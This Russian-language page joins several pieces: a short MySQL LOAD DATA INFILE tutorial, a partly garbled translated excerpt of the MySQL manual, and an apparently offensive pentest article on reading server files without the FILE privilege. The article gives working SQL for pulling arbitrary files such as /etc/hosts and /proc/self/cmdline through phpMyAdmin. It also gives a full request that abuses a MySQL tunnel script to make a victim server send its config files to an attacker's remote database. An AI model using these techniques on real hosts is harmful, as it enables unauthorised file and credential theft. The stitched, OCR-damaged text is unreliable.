Главная » Обучение » Обходим ограничение на чтение файлов в MySQL. Справочное руководство по MySQL Взаимодействие PHP и MySQL

Обходим ограничение на чтение файлов в MySQL. Справочное руководство по MySQL Взаимодействие PHP и MySQL

Вам когда-нибудь приходилось загружать данные из файла в таблицу из файла? Если нет, то я попробую кратко рассказать вам об одном способе это сделать.

Загрузить данные в таблицу из файла

LOAD DATA INFILE "data.csv" INTO TABLE my_table Такая конструкция поможет вам загрузить данные из файла в вашу таблицу.

Если вы хотите загрузить отформатированные данные, скажем разделенные запятой, то вам поможет следующая конструкция:

LOAD DATA INFILE "data.csv" INTO TABLE my_table FIELDS TERMINATED BY "," ENCLOSED BY """ ESCAPED BY "\\" LINES TERMINATED BY "\r\n"
Что это означает?

  • Искать концы строк в виде символов "\r\n"
  • Разбивать строки на поля по символам запятой (,).
  • Ожидать, что поля могут быть заключены в символы цитирования.
  • Интерпретировать встречающиеся символы табуляции, новой строки или "\", предваренные "\", как литералы, являющиеся частью значения поля.

Конструкция LOAD DATA INFILE

Все, что мы описали выше, это знаменитая конструкция LOAD DATA INFILE.

Ошибка Access denied for user

Если у вас вдруг возникла ошибка Access denied for user , то вам нужно просто добавить атрибут LOCAL перед INFILE. Например:

LOAD DATA LOCAL INFILE "data.csv" INTO TABLE my_table

Загрузить данные в таблицу из файла для конкретных полей

LOAD DATA LOCAL INFILE "data.csv" INTO TABLE t1 FIELDS TERMINATED BY "," LINES TERMINATED BY "\n" (@ col1 ,@ col2 ,@ col3 ,@ col4 ) set name =@ col4 , id =@ col2 ;

Здесь мы указываем имя файла (data.csv), с которого будет производится загрузка данных. В конструкции (@col1,@col2,@col3,@col4) мы нумеруем все столбцы файла для дальнейшего их использования. А далее при помощи знакомого нам метода set устанавливаем значения этих столбцов для конкретных полей таблицы.

LOAD DATA INFILE вместе с JOIN

Если вам нужно заполнить таблицу из файла используя уже существующую, вам наверняка сразу пришло в голову использовать join. Код для такой вставки данных выглядит примерно так:

LOAD DATA LOCAL INFILE "data.csv" INTO TABLE table_1 FIELDS TERMINATED BY "\t" LINES TERMINATED BY "\r\n" (@col1,@col2,@col3,@col4) set user_id=@col1, username=(select username from users where user_id = @col1);

Синтаксис LOAD DATA INFILE

LOAD DATA INFILE "имя_файла. txt" INTO TABLE имя_таблицы
[ ENCLOSED BY "]
]
]
[{имя_столбца,... )]
Оператор LOAD DATA INFILE читает строки из текстового файла и загружает их в таб-лицу на очень высокой скорости.
Вы можете также загружать файлы данных с помощью утилиты mysql import. Она работает, посылая на сервер оператор LOAD data INFILE. Опция --local заставляет ути-литу mysqlimport читать файл данных с клиентского хоста. Вы можете указать опцию -compress для повышения производительности в медленных сетях, если клиент и сер-вер поддерживают сжатый протокол.
Если указано ключевое слово LOW_PRIORITY, выполнение оператора LOAD DATA откла-дывается до тех пор, пока все остальные клиенты не завершат чтение.
Если указано ключевое слово CONCURRENT с таблицей MyISAM, которая удовлетворяет условию параллельных вставок (то есть не имеет свободных блоков в середине файла), то другие потоки смогут извлекать данные из таблицы одновременно с выполнением LOAD DATA. Применение этой опции немного сказывается на производительности LOAD DATA, даже если ни один другой поток с этой таблицей не работает.
Если указано ключевое слово LOCAL, оно касается клиентской части соединения.

  1. Если слово LOCAL указано, файл читается клиентской программой на хосте клиента и отправляется на сервер.
  2. Если слово LOCAL не указано, загружаемый файл должен находиться на хосте сервера, и читается сервером непосредственно.

LOCAL доступно в MySQL 3.22.6 и более поздних версиях.
Из соображений безопасности при чтении текстовых файлов, расположенных на сер-вере, файлы должны либо находиться в каталоге данных, либо быть доступными всем по чтению. Кроме того, чтобы использовать LOAD DATA с серверными файлами, вы должны иметь привилегию FILE.
Загрузка с опцией LOCAL идет несколько медленнее, чем когда вы даете серверу воз-можность непосредственного доступа к загружаемым файлам, потому что в этом случае содержимое файлов передается по сети через клиент-сер верное соединение. С другой стороны, в этом случае вам не нужны привилегии FILE.
Начиная с версий MySQL 3.23.49 и MySQL 4.0.2 (4.0.13 для Windows), LOCAL работа-ет, только если и клиент, и сервер разрешают это. Например, если mysqld запущен с оп-цией -local-inf ile=0, то LOCAL работать не будет.

Если вам нужно с помощью LOAD DATA читать из программного канала, вы можете применить следующую технику:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
cat < /dev/tcp/10.1.1.12/4711 > /mysql/db/x/x
mysql -e "LOAD DATA INFILE "x1 INTO TABLE x" x
Если вы работаете с версией MySQL, предшествующей 3.23.25, то эту технику мож-но применять только с LOAD DATA LOCAL INFILE.
Если у вас версия MySQL, предшествующая 3.23.24, то вы не сможете читать с по-мощью оператора LOAD DATA INFILE из FIFO. Если вам нужно читать из FIFO (напри-мер, из выходного потока gunzip), применяйте вместо этого LOAD DATA LOCAL INFILE.
При поиске файла в своей файловой системе сервер руководствуется следующими правилами:

  1. Если задан абсолютный путь, сервер его использует, как есть.
  2. Если задан относительный путь с одним или более ведущими компонентами, сервер ищет файлы относительно своего каталога данных.
  3. Если задано имя файла без ведущих компонентов пути, сервер ищет файл в каталоге данных базы данных по умолчанию.

Отметим, что из этих правил следует, что файл с именем./myfile.txt читается из каталога данных сервера, в то время как файл с именем myfile,txt читается из каталога данных базы данных по умолчанию. Например, следующий оператор LOAD DATA INFILE читает файл data.txt из каталога данных базы dbl, потому что dbl -текущая база дан-ных, несмотря на то, что оператор загружает данные в базу данных db2:
mysql> USE dbl;
mysql> LOAD DATA INFILE "data.txt" INTO TABLE db2.my_table;
Ключевые слова REPLACE и IGNORE управляют работой с входными строками, которые дублируют существующие по значению уникальных ключей.
Если указано REPLACE, входные строки заменяют существующие строки (другими словами, строки, которые имеют те же значения первичных или уникальных ключей, как и существующие в таблице строки). См. раздел Синтаксис REPLACE
Если указано IGNORE, то входные строки, которые дублируют существующие строки с теми же значениями первичных или уникальных ключей, пропускаются. Если не указана ни одна, ни другая опции, то поведение зависит от того, указано ли ключевое слово local. При отсутствии LOCAL, в случае обнаружения дублирования ключа генерируется ошибка, а остаток текстового файла игнорируется. При наличии LOCAL, поведение по умолчанию будет таким же, как если бы было указано IGNORE. Это объясняется тем, что сервер не в состоянии остановить передачу файла в процессе выполнения этой операции.
Если вы хотите игнорировать ограничения внешних ключей в процессе операции за-грузки данных, вы можете выполнить оператор SET FOREIGN_KEY_CHECKS=0 перед запус-ком LOAD DATA.
Если вы запускаете LOAD DATA для пустой таблицы MyISAM, все неуникальные индек-сы создаются в отдельном задании (как для REPAIR TABLE). Обычно это приводит к тому, что при наличии многих индексов LOAD DATA выполняется гораздо быстрее. Как правило, это работает очень быстро, но в некоторых особых случаях вы можете создать индексы даже еще быстрее, выключив их через ALTER TABLE.. .DISABLE KEYS перед загрузкой

файла в таблицу, пересоздав индексы и включив их с помощью ALTER TABLE.. .ENABLE KEYS после окончания загрузки.
LOAD DATA INFILE - это дополнение для SELECT.. .INTO OUTFILE. См. раздел Синтаксис SELECT Для записи данных из таблицы в файл пользуйтесь SELECT... INTO OUTFILE. Чтобы про-читать данные обратно из файла в таблицу, воспользуйтесь LOAD DATA INFILE. Синтак-сис конструкций FIELDS и LINES одинаков для обоих операторов. Обе эти конструкции не обязательны, но fields должна предшествовать LINES, если указаны обе.
Если указана конструкция FIELDS, то все ее параметры (TERMINATED BY, ENCLOSED BY и ESCAPED BY) также не обязательны, за исключением требования, что обя-зательно должен присутствовать хотя бы один параметр.
Если конструкция FIELDS не указана, по умолчанию принимается следующий вид:
FIELDS TERMINATED BY "tf ENCLOSED BY " ESCAPED BY "
Если не указана конструкция LINES, по умолчанию принимается такой вариант:
LINES TERMINATED BY "n! STARTING BY "
Другими словами, поведение по умолчанию LOAD DATA INFILE при чтении ввода та-ково:

  1. Искать разделители строк в начале строк.
  2. Не пропускать никаких префиксов строки.
  3. Разбивать строку на поля по знакам табуляции.
  4. Не ожидать, что поля будут заключены в кавычки.
  5. Интерпретировать появление знака табуляции, перевода строки или символа "\ которым предшествует с\ как литеральные символы, являющиеся частью значения поля.

И наоборот, SELECT... INTO OUTFILE по умолчанию ведет себя следующим образом:

  1. Пишет знаки табуляции между полями.
  2. Не окружает значения полей кавычками.
  • Использует *" для выделения знаков табуляции, перевода строк или "\ встре-чающихся внутри значений полей.
  • Пишет символ перевода строки в конце строк.
Следует отметить, что для написания FIELDS ESCAPED BY "W потребуется указать два знака обратной косой черты для значений, в которых нужно читать одну обратную косую черту.
На заметку!
Если вы сгенерировали текстовый файл в системе Windows, возможно, вам понадобится задать LINES TERMINATED BY "rn чтобы правильно прочитать файл, поскольку программы Windows обычно используют эти два символа в качестве разделителя строк. Некоторые про-граммы, подобные WordPad, при записи файлов могут использовать символ "г" в качестве разделителя строк. Чтобы читать такие файлы, используйте LINES TERMINATED BY "r".
Если все строки читаемого файла имеют общий префикс, который вы хотите игнорировать, используйте LINES STARTING BY " строка_префиксах для того, чтобы пропускать этот префикс. Если строка не содержит префикса, она пропускается вся целиком.

Опция IGNORE количество LINES служит для игнорирования заданного количества строк в начале файла. Например, вы можете воспользоваться IGNORE I LINES, чтобы пропустить начальную строку, содержащую имена столбцов:
mysql> LOAD DATA INFILE "/tmp/test.txt" -> INTO TABLE test IGNORE 1 LINES;
Когда вы применяете SELECT... INTO OUTFILE в связке с LOAD DATA INFILE для записи данных из базы в файл и последующего его чтения и загрузки обратно в базу, опции управления строками и полями для обоих операторов должны совпадать. В противном случае LOAD DATA INFILE не сможет правильно интерпретировать содержимое текстово-го файла. Предположим, что вы с помощью SELECT.. .INTO OUTFILE вывели данные в текстовый файл, разделяя поля запятыми:
mysql> SELECT * INTO OUTFILE "data.txt" -> FIELDS TERMINATED BY"," -> FROM table2;
Чтобы прочитать разделенный запятыми файл обратно, правильно будет поступить так:
mysql> LOAD DATA INFILE "data.txt1 INTO TABLE table2 -> FIELDS TERMINATED BY
Если вместо этого вы попытаетесь прочитать его оператором, приведенным ниже, это не сработает, потому что LOAD DATA INFILE будет искать символы табуляции между значениями полей:
mysql> LOAD DATA INFILE "data.txt" INTO TABLE table2 -> FIELDS TERMINATED BY "t";
Наиболее вероятным результатом будет интерпретация входной строки как единст-венного поля.
LOAD DATA INFILE также может использоваться для чтения файлов из внешних ис-точников. Например, некоторый файл может иметь поля, разделенные запятыми и за-ключенные в двойные кавычки. Если строки в файле разделены символом новой строки, приведенный ниже пример иллюстрирует, какие должны быть установлены опции раз-делителей строк и столбцов для загрузки файла:
mysql> LOAD DATA INFILE "data.txt" INTO TABLE имя_таблицы -> FIELDS TERMINATED BY 1,1 ENCLOSED BY "" -> LINES TERMINATED BY "n";
Любым опциям, задающим ограничители строк и столбцов, можно указывать в каче-стве аргументов пустые строки ("). Если же аргументы - не пустые строки, то значения ДЛЯ FIELDS ENCLOSED BY И FIELDS ESCAPED BY ДОЛЖНЫ быть ОДНОСИМ-ВОЛЬНЫМИ. Аргументы ОПЦИЙ FIELDS TERMINATED BY, LINES STARTING BY И LINES TERMINATED BY могут иметь длину более одного символа. Например, чтобы писать стро-ки, разделенные символами возврат каретки/перевод строки, либо чтобы читать файлы, содержащие такие строки, указывайте конструкцию LINES TERMINATED BY "rn".
Чтобы прочитать файл, разделенный по строкам символами %%, можно поступить следующим образом:
mysql> CREATE TABLE jokes
-> (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, -> joke TEXT NOT NULL) ;

mysql> LOAD DATA INFILE "/tmp/jokes,txf INTO TABLE jokes -> FIELDS TERMINATED BY "" -> LINES TERMINATED BY "\n%%\n" (joke) ;
FIELDS ENCLOSED BY управляет ограничителями (кавычками) полей. При выводе (SELECT... INTO OUTFILE), если пропустить слово OPTIONALLY, все поля бу-дут окружены символом, указанным в ENCLOSED BY. Пример такого вывода (с использо-ванием запятой в качестве разделителя полей) показан ниже:
"1","а string","100.20"
"2","a string containing a , comma","102.20"
"3","а string containing a \" quote","102.20"
"4","a string containing a \", quote and comma","102.20"
Если вы указываете OPTIONALLY, то символ ENCLOSED BY применяется только для за-ключения в кавычки полей типа CHAR и VARCHAR:
1,"а string",100.20
3,"а string containing a \" quote",102.20
4,"a string containing a \", quote and comma",102.20
Обратите внимание, что вхождения символа, указанного в ENCLOSED BY, внутри зна-чения поля предваряется символом, заданным в ESCAPED BY. Кроме того, если указать пустое значение для ESCAPED BY, возможно, что будет сгенерирован файл, который LOAD DATA INFILE не сумеет правильно загрузить.
Например, если символ отмены оставить пустым, приведенный выше вывод будет выглядеть так, как показано ниже. Несложно заметить, что второе поле в четвертой строке содержит запятую, следующую за кавычкой, которая (ошибочно) будет выгля-деть как разделитель полей.
1,"а string",100.20
2,"a string containing a , comma",102.20
3,"а string containing a " quote",102.20
4,"a string containing a ", quote and comma",102.20
При вводе символ ENCLOSED BY, если он есть, удаляется из конца значения полей. (Это верно вне зависимости от того, указано или нет слово OPTIONALLY. Данное слово не имеет никакого эффекта при интерпретации ввода.) Появление символов ENCLOSED BY с предше-ствующим символом ESCAPED BY интерпретируется как часть текущего значения поля.
Если поле начинается с символа ENCLOSED BY, экземпляры этого символа интерпре-тируются как завершение значения поля, только если за ними следует поле или последо-вательность TERMINATED BY. Чтобы избежать неоднозначности при появлении символа ENCLOSED BY внутри значения поля, этот символ может быть продублирован, и будет интерпретироваться как единственный экземпляр символа. Например, если задается ENCLOSED BY "", кавычки обрабатываются следующим образом:
"The ""BIG"" boss" -> The "BIG" boss The "BIG" boss -> The "BIG" boss The ""BIG"" boss -> The ""BIG"" boss
FIELDS ESCAPED BY управляет чтением или записью специальных символов. Если ар-гумент FIELDS ESCAPED BY не пустой, он используется в качестве префикса для следую-щих символов в выводе:

  1. Символа FIELDS ESCAPED BY.
  2. Символа FIELDS ENCLOSED BY.
  3. Первого СИМВОЛа последовательностей FIELDS TERMINATED BY И LINES TERMINATED BY.
  4. ASCII 0 (который пишется вслед за символом отмены как ASCII "0", а не нулевой байт).

Если символ FIELDS ESCAPED BY пуст, никакие символы не предваряются символами отмены, и NULL выводится как NULL, а не \N. Вероятно, это не очень хорошая мысль -оставлять пустым аргумент FIELDS ESCAPED BY, особенно, если значения полей ваших данных содержат любой из упомянутых символов.
При вводе, если FIELDS ESCAPED BY не пуст, то при появлении этого символа в строке значения он удаляется, а следующий за ним символ читается литерально, как часть зна-чения поля. Исключениями являются последовательности "0" или "N" (SYS-PAGE-CONTENT или \N, если символом отмены выбран "\"). Эти последовательности интерпретируются, соответст-венно, как ASCII NUL (нулевой байт) и NULL. Правила обращения с NULL описаны ниже в настоящем разделе.
Более подробную информацию о синтаксисе отмены "\" можно найти в разделе Литеральные значения
В некоторых случаях опции, управляющие полями и строками, взаимодействуют ме-жду собой:

  1. Если указана пустая строка для LINES TERMINATED BY, a FIELDS TERMINATED BY непуст, то разделителем строк также служит LINES TERMINATED BY.
  2. ЕСЛИ пусты И FIELDS TERMINATED BY И FIELDS ENCLOSED BY, ИСПОЛЬЗуется формат фиксированной строки (без разделителей). В этом формате не применяется никаких разделителей между полями (но можно иметь разделитель строк). Вместо этого значения столбцов пишутся и читаются с использованием ширины отображения столбцов. Например, если столбец объявлен как INT (7), значения столбца записываются в семисимвольное поле. При вводе значения столбца извлекаются чтением семи символов.

LINES TERMINATED BY по-прежнему используется для разделения строк. Если стро-ка не содержит всех полей, остальным столбцам присваиваются их значения по умолчанию. Если у вас нет терминатора строки, его значение нужно установить в 1". В этом случае текстовый файл должен содержать все поля в каждой строке. Формат с фиксированной длиной строки также касается работы со значениями NULL, как описано ниже. Следует отметить, что формат фиксированной длины не работает, если используется многобайтный набор символов (например, Unicode).
Обработка значений NULL варьируется в зависимости от применяемых опций FIELDS и LINES:

  1. При значениях FIELDS и LINES по умолчанию NULL пишется как значение поля ввиде \N для вывода и это же значение \N читается как NULL при вводе (предполагая, что символ ESCAPED BY установлен в "\")-
  2. Если FIELDS ENCLOSED BY не пустой, то поле, содержащее литеральное слово NULL, читается как значение NULL. Это отличается от случая, когда слово NULL ограничено символами FIELDS ENCLOSED BY, когда значение читается, как строка"NULL".
  3. Если FIELDS ESCAPED BY пустое, NULL пишется как слово NULL.
  • При формате с фиксированной длиной строки (что случается, когда и FIELDS TERMINATED BY, и FIELDS ENCLOSED BY пустые) NULL записывается как пустая строка. Отметим, что это приводит к тому, что значения NULL и пустые строки в таблице становятся неразличимы при записи в файл, поскольку в обоих случаях пишутся пустые строки. Если вам необходимо делать различие между ними, избегайте использования формата с фиксированной длиной строки.
    Ниже представлены некоторые случаи, не поддерживаемые LOAD DATA INFILE:
    1. Строки фиксированной ДЛИНЫ (FIELDS TERMINATED BY И FIELDS ENCLOSED BY nycтые) при наличии столбцов тира TEXT или BLOB.
    2. Если вы указываете разделитель, который совпадает с префиксом другого, LOAD DATA INFILE не может правильно интерпретировать входной поток. Например, следующий вариант приведет к проблемам:

    FIELDS TERMINATED BY "" ENCLOSED BY ""

    • Если FIELDS ESCAPED BY пуст, значения полей, которые включают в себя символы FIELDS ENCLOSED BY ИЛИ LINES TERMINATED BY С последующим СИМВОЛОМ LINES TERMINATED BY, заставят LOAD DATA INFILE слишком рано прекратить чтение файла или строки. Это произойдет потому, что LOAD DATA INFILE не может правильно определить, где завершается значение поля или строки. Следующий пример загружает все столбцы таблицы persondata: mysql> LOAD DATA INFILE "persondata.txt" INTO TABLE persondata;
      По умолчанию, если в конце оператора LOAD DATA INFILE не приведен список столб-цов, ожидается, что во входящей строке содержатся поля для каждого столбца таблицы. Если вы хотите загрузить только некоторые из столбцов таблицы, указывайте список столбцов:
      mysql> LOAD DATA INFILE "persondata.txt1
      -> INTO TABLE persondata (coll,col2,...);
      Вы также должны указывать список столбцов, если порядок полей во входном файле отличается от порядка столбцов в таблице. В противном случае MySQL не сможет уста-новить соответствие между входными полями и столбцами таблиц.
      Если входной файл имеет слишком мало полей в строках, то недостающим столбцам будут присвоены значения по умолчанию. Присвоение значений по умолчанию описано в разделе Синтаксис CREATE TABLE
      Пустые значения полей интерпретируются иначе, чем пропущенные:
      1. Для строковых типов - столбцу присваивается пустая строка.
      2. Для числовых типов - столбцу присваивается 0.
      3. Для типов даты и времени - столбец устанавливается в соответствующее типу
        "нулевое" значение. См. раздел Типы даты и времени

      Это те же значения, что получаются в результате явного присвоения пустой строки столбцам этих типов в операторах INSERT или UPDATE.
      Значения столбцов типа TIMESTAMP устанавливаются в текущую дату и время, только если им присваивается значение NULL (то есть, \N), либо если столбец этого типа пропу-щен в списке полей, если список полей приведен.

      LOAD DATA INFILE рассматривает весь ввод, как строковый, поэтому вы не можете использовать числовые значения для столбцов типа ENUM или SET, как это допускается в операторах INSERT. Все значения ENUM или SET должны указываться как строки!
      Когда оператор LOAD DATA INFILE завершает работу, он возвращает информацион-ную строку в следующем формате:
      Records: I Deleted: 0 Skipped: 0 Warnings: О
      Если вы работаете с программным интерфейсом С API, то можете получить инфор-мацию об этом операторе, обратившись к функции mysql_info().
      Предупреждения, которые появляются при некоторых условиях, такие же, как при вставке значений оператором INSERT (см. раздел 6.1.4), за исключением того, что LOAD DATA INFILE кроме них генерирует предупреждения о том, что во входном файле слиш-ком мало или слишком много полей. Предупреждения нигде не сохраняются, количество предупреждений может быть использовано только как признак того, что все прошло ус-пешно.
      Начиная с MySQL 4.1.1, вы можете использовать SHOW WARNINGS для получения спи-ска первых max_error_count предупреждений в качестве информации о том, что при загрузке прошло не так, как надо. См. раздел Синтаксис SHOW WARNINGS
      До MySQL 4.1.1 только количество предупреждений было признаком того, что за-грузка прошла не гладко. Если вы получаете предупреждение и хотите знать точно, почему оно появились, единственный путь сделать это - с помощью SELECT.. .INTO OUTFILE выгрузить дамп таблицы в другой файл и сравнить его с оригинальным вход-ным файлом.

Описываю довольно частую ситуацию. Во время пентеста получен доступ к phpMyAdmin на удаленном хосте, но добраться через него до файлов не получается. Во всем виноват пресловутый флаг FILE_PRIV=no в настройках демона MySQL. Многие в этой ситуации сдаются и считают, что файлы на хосте таким образом уже не прочитать. Но это не всегда так.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Прелюдия

Когда речь идет о взаимодействии CУБД MySQL с файловой системой, то вспоминают, как правило:

  • функцию LOAD_FILE, позволяющую читать файлы на сервере;
  • конструкцию SELECT ... INTO OUTFILE, с помощью которой можно создавать новые файлы.

Соответственно, если получен доступ к phpMyAdmin или любому другому клиенту на удаленной машине, то с большой вероятностью через MySQL можно добраться до файловой системы. Но только при условии, что в настройках демона установлен флаг FILE_PRIV=yes, что бывает далеко не всегда. В этом случае надо вспомнить про другой оператор, куда менее известный, но при этом обладающий довольно мощным функционалом. Я говорю об операторе LOAD DATA INFILE, об особенностях которого и будет рассказано в этой статье.

Взаимодействие PHP и MySQL

PHP - самый распространенный язык для создания веб-приложений, поэтому стоит рассмотреть подробней, каким образом он взаимодействует с базой данных.

В PHP4 клиентские библиотеки MySQL были включены по умолчанию и входили в поставку PHP, поэтому при установке можно было только отказаться от использования MySQL, указав опцию

Without-mysql.

PHP5 поставляется без клиентской библиотеки. На *nix-системах обычно собирают PHP5 с уже установленной на сервере библиотекой libmysqlclient, просто задав опцию

With-mysql=/usr

при сборке. При этом до версии 5.3 для взаимодействия с сервером MySQL используется низкоуровневая библиотека MySQL Client Library (libmysql), интерфейс который не оптимизирован для коммуникации с PHP-приложениями.

Для версии PHP 5.3 и выше был разработан MySQL Native Driver (mysqlnd), причем в недавно появившейся версии PHP 5.4 этот драйвер используется по умолчанию. Хотя встроенный драйвер MySQL написан как расширение PHP, важно понимать, что он не предоставляет программисту PHP нового API. API к базе данных MySQL для программиста предоставляют расширения MySQL, mysqli и PDO_MYSQL. Эти расширения могут использовать возможности встроенного драйвера MySQL для общения с демоном MySQL.

Использование встроенного драйвера MySQL дает некоторые плюсы относительно клиентской библиотеки MySQL: к примеру, не требуется устанавливать MySQL, чтобы собирать PHP или использовать работающие с базой данных скрипты. Более подробную информацию о MySQL Native Driver и его отличиях от libmysql можно найти в документации .

Расширения MySQL, mysqli и PDO_MYSQL могут быть индивидуально сконфигурированы для использования либо libmysql, либо mysqlnd. Например, чтобы настроить расширение MySQL для использования MySQL Client Library, а расширения mysqli для работы с MySQL Native Driver, необходимо указать следующие опции:

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

Синтаксис LOAD DATA

Оператор LOAD DATA, как гласит документация, читает строки из файла и загружает их в таблицу на очень высокой скорости. Его можно использовать с ключевым словом LOCAL (доступно в MySQL 3.22.6 и более поздних версиях), которое указывает, откуда будут загружаться данные. Если слово LOCAL отсутствует, то сервер загружает в таблицу указанный файл со своей локальной машины, а не с машины клиента. То есть файл будет читаться не клиентом MySQL, а сервером MySQL. Но для этой операции опять же необходима привилегия FILE (флаг FILE_PRIV=yes). Выполнение оператора в этом случае можно сравнить с использованием функции LOAD_FILE - с той лишь разницей, что данные загружаются в таблицу, а не выводятся. Таким образом использовать LOAD DATA INFILE для чтения файлов имеет смысл только тогда, когда функция LOAD_FILE недоступна, то есть на очень старых версиях MySQL-сервера.

Но если оператор используется в таком виде: LOAD DATA LOCAL INFILE , то есть с использованием слова LOCAL, то файл читается уже клиентской программой (на машине клиента) и отправляется на сервер, где находится база данных. При этом для доступа к файлам привилегия FILE, естественно, не нужна (так как все происходит на машине клиента).

Расширения MySQL/mysqli/PDO_MySQL и оператор LOAD DATA LOCAL

В расширении MySQL возможность использовать LOCAL регулируется PHP_INI_SYSTEM директивой mysql.allow_local_infile. По умолчанию эта директива имеет значение 1, и поэтому нужный нам оператор обычно доступен. Также функция mysql_connect позволяет включать возможность использования LOAD DATA LOCAL, если в пятом аргументе стоит константа 128.

Когда для соединения с базой данных используется расширение PDO_MySQL, то мы также можем включить поддержку LOCAL, используя константу PDO::MYSQL_ATTR_LOCAL_INFILE (integer)

$pdo = new PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

Но самые большие возможности для работы с оператором LOAD DATA предоставляет расширение mysqli. В этом расширении тоже предусмотрена PHP_INI_SYSTEM директива mysqli.allow_local_infile, регулирующая использование LOCAL.

Если соединение осуществляется посредством mysqli_real_connect, то с помощью mysqli_options мы можем как включить, так и выключить поддержку LOCAL. Более того, в этом расширении доступна функция mysqli_set_local_infile_handler, которая позволяет зарегистрировать callback-функцию для обработки содержимого файлов, читаемых оператором LOAD DATA LOCAL INFILE.

Чтение файлов

Внимательный читатель, наверное, уже догадался, что если у нас есть аккаунт в phpMyAdmin, то мы сможем читать произвольные файлы, не имея привилегию FILE, и даже обходить ограничения open_basedir. Ведь очень часто и клиент (в данном случае phpMyAdmin), и демон MySQL находятся на одной и той же машине. Несмотря на ограничения политики безопасности сервера MySQL, мы можем воспользоваться тем, что для клиента эта политика не действует, и все-таки прочитать файлы из системы, запихнув их в базу данных.

Алгоритм простой. Достаточно выполнить следующие SQL-запросы:

  1. Создаем таблицу, в которую будем записывать содержимое файлов:CREATE TABLE temp(content text);
  2. Отправляем содержимое файла в созданную таблицу:LOAD DATA LOCAL INFILE "/etc/hosts" INTO TABLE temp FIELDS TERMINATED BY "eof" ESCAPED BY "" LINES TERMINATED BY "eof";

Вуаля. Содержимое файла /etc/hosts теперь в таблице temp. Нужно прочитать бинарные файлы? Нет проблем. Если на первом шаге мы создадим такую таблицу:

CREATE TABLE "bin" ("bin" BLOB NOT NULL) ENGINE = MYISAM ;

то в нее возможно будет загружать и бинарные файлы. Правда, в конец файлов будут добавляться лишние биты, но их можно будет убрать в любом hex-редакторе. Таким образом можно скачать с сервера скрипты, защищенные IonCube/Zend/TrueCrypt/NuSphere, и раскодировать их.

Другой пример, как можно использовать LOAD DATA LOCAL INFILE, - узнать путь до конфига Apache’а. Делается это следующим образом:

  1. Сначала узнаем путь до бинарника, для этого описанным выше способом читаем /proc/self/cmdline.
  2. И далее читаем непосредственно бинарник, где ищем HTTPD_ROOT/SERVER_CONFIG_FILE.


Ясно, что в данной ситуации скрипты phpMyAdmin играют роль клиента для соединения с базой данных. И вместо phpMyAdmin можно использовать любой другой веб-интерфейс для работы с MySQL.

К примеру, можно использовать скрипты для бэкапа и восстановления базы. Еще в 2007 году французский хакер под ником acidroot выложил в паблик эксплойт, основанный на этом замечании и дающий возможность читать файлы из админ-панели phpBB <= 2.0.22.

Туннель удобно. Туннель небезопасно

При установке сложных веб-приложений зачастую требуется прямой доступ в базу, например для начальной настройки и корректировки работы скриптов. Поэтому в некоторых случаях целесообразно установить на сервере простой скрипт - так называемый MySQL Tunnel, позволяющий выполнять запросы к базе данных с помощью удобного клиента вместо тяжеловесного phpMyAdmin.

Туннелей для работы с базой данных довольно много, но все они не очень сильно распространены. Пожалуй, один из самых известных - это Macromedia Dream Weaver Server Scripts. Посмотреть исходники этого скрипта можно .

Основное отличие MySQL Tunnel от phpMyAdmin - это необходимость вводить не только логин и пароль от базы данных, но и хост, с которым нужно соединиться. При этом туннели часто оставляют активными, ну просто на всякий случай, мало ли что еще нужно будет поднастроить. Вроде как воспользоваться ими можно, только если есть аккаунт в базу данных - тогда чего бояться? Короче, создается впечатление, что туннель особой угрозы безопасности веб-серверу не несет. Но на самом деле не все так хорошо, как кажется на первый взгляд.

Рассмотрим следующую ситуацию. Пусть на сервере A есть сайт site.com с установленным туннелем http://site.com/_mmServerScripts/MMHTTPDB.php. Предположим, что на сервере А есть возможность использовать LOAD DATA LOCAL (как обсуждалось выше, это, например, возможно при дефолтных настройках). В этом случае мы можем взять удаленный MySQL-сервер, в базы которого пускают отовсюду и который тоже позволяет использовать LOCAL, и соединиться с этим сервером с помощью туннеля. Данные для коннекта с удаленным MySQL-сервером:

DB Host: xx.xx.xx.xxx DB Name: name_remote_db DB User: our_user DB Pass: our_pass

В данной ситуации сервер A будет играть роль клиента, и поэтому мы можем отправлять файлы с его хоста в удаленную базу или, другими словами, читать файлы. Следующим нехитрым запросом:

Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE /path/to/script/setup_options.php" INTO TABLE tmp_tbl FIELDS TERMINATED BY "__eof__" ESCAPED BY "" LINES TERMINATED BY "__eof__"

На самом деле эта уязвимость более опасна, чем обычное чтение файлов: ведь она позволяет прочитать конфигурационные файлы скриптов, установленных на сервере A. Через этот же туннель можно получить уже прямой доступ к базе, которые управляют этими скриптами. Описанную выше технику по использованию мускульных туннелей можно немного обобщить и применить при эксплуатации unserialize-уязвимостей.


Клиент-сервер

Для того чтобы лучше понять возможности LOAD DATA, необходимо вспомнить, что CУБД MySQL использует традиционную архитектуру клиент-сервер. Работая с MySQL, мы реально работаем с двумя программами:

  • программа сервера базы данных, расположенная на компьютере, где хранится база данных. Демон mysqld «прослушивает» запросы клиентов, поступающие по сети, и осуществляет доступ к содержимому базы данных, предоставляя информацию, которую запрашивают клиенты. Если mysqld запущен с опцией --local-infile=0, то LOCAL работать не будет;
  • клиентская программа осуществляет подключение к серверу и передает запросы на сервер. Дистрибутив CУБД MySQL включает в себя несколько клиентских программ: консольный клиент MySQL (наиболее часто используемая), а также mysqldump, mysqladmin, mysqlshow, mysqlimport и так далее. А при необходимости даже можно создать свою клиентскую программу на основе стандартной клиентской библиотеки libmysql, которая поставляется вместе с CУБД MySQL.

Если при использовании стандартного клиента MySQL не удается задействовать оператор LOAD DATA LOCAL, то стоит воспользоваться ключом --local-infile:

Mysql --local-infile sampdb mysql> LOAD DATA LOCAL INFILE "member.txt" INTO TABLE member;

Либо указать в файле /my.cnf опцию для клиента:

Local-infile=1

